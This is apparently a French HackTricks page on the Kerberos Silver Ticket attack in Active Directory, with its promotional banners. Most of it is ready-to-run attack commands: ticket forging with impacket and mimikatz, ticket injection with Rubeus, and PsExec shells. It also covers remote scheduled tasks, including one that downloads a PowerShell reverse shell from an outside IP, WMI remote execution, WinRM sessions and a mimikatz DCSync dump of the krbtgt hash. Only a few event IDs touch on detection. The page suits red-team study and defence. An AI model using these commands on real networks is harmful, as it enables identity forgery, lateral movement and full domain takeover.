Silver Ticket

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Astuce de prime de bug : inscrivez-vous à Intigriti, une plateforme de prime de bug premium créée par des pirates informatiques, pour des pirates informatiques ! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

Billet Silver

L'attaque du Billet Silver implique l'exploitation des tickets de service dans les environnements Active Directory (AD). Cette méthode repose sur l'acquisition du hachage NTLM d'un compte de service, tel qu'un compte d'ordinateur, pour falsifier un ticket de Service de Billetterie (TGS). Avec ce ticket falsifié, un attaquant peut accéder à des services spécifiques sur le réseau, en se faisant passer pour n'importe quel utilisateur, visant généralement les privilèges administratifs. Il est souligné que l'utilisation de clés AES pour falsifier des tickets est plus sécurisée et moins détectable.

Pour la création de tickets, différents outils sont utilisés en fonction du système d'exploitation :

Sur Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Sur Windows

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Le service CIFS est mis en avant comme une cible courante pour accéder au système de fichiers de la victime, mais d'autres services comme HOST et RPCSS peuvent également être exploités pour des tâches et des requêtes WMI.

Services Disponibles

Type de ServiceTickets Silver pour le Service

WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

En fonction du système d'exploitation également :

WSMAN

RPCSS

WinRM

HOST

HTTP

Dans certains cas, vous pouvez simplement demander : WINRM

Tâches Planifiées

HOST

Partage de Fichiers Windows, également psexec

CIFS

Opérations LDAP, incluant DCSync

LDAP

Outils d'Administration de Serveur à Distance Windows

RPCSS

LDAP

CIFS

Tickets d'Or

krbtgt

En utilisant Rubeus, vous pouvez demander tous ces tickets en utilisant le paramètre :

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

IDs d'Événements pour les Tickets Silver

  • 4624: Connexion de Compte

  • 4634: Déconnexion de Compte

  • 4672: Connexion Administrateur

Abus des Tickets de Service

Dans les exemples suivants, imaginons que le ticket soit récupéré en se faisant passer pour le compte administrateur.

CIFS

Avec ce ticket, vous pourrez accéder aux dossiers C$ et ADMIN$ via SMB (s'ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant en faisant simplement quelque chose comme :

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

HÔTE

Avec cette autorisation, vous pouvez générer des tâches planifiées sur des ordinateurs distants et exécuter des commandes arbitraires:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HÔTE + RPCSS

Avec ces tickets, vous pouvez exécuter WMI dans le système de la victime:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

HÔTE + WSMAN (WINRM)

Avec l'accès winrm sur un ordinateur, vous pouvez y accéder et même obtenir un PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Consultez la page suivante pour en savoir plus sur les autres façons de se connecter à un hôte distant en utilisant winrm:

pageWinRM

Notez que winrm doit être actif et en écoute sur l'ordinateur distant pour y accéder.

LDAP

Avec ce privilège, vous pouvez vider la base de données du DC en utilisant DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

En savoir plus sur DCSync sur la page suivante :

Références

pageDCSync

Conseil de prime de bug : inscrivez-vous sur Intigriti, une plateforme de prime de bug premium créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui, et commencez à gagner des primes allant jusqu'à 100 000 $ !

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour